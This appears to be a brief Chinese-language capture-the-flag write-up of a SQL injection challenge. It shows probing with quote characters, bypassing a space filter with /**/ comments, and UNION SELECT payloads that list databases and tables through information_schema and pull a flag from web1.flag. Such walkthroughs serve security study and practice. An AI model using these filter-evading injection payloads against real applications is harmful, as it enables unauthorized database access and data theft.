尝试
1
1’
1”
发现1’还是会报错，所以注入口还是1’
再试试1\' and \'1\'=\'1发现报出SQLi detected!
取消空格试试1\'and\'1\'=\'1
似乎可以进入，应该就是过滤了空格
我们仍使用/**/的方法
1\'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/\'1\'=\'1
查询数据库表信息
查询数据表web1下的列信息
1\'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=\'web1
然后查询flag
1\'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/\'1\'=\'1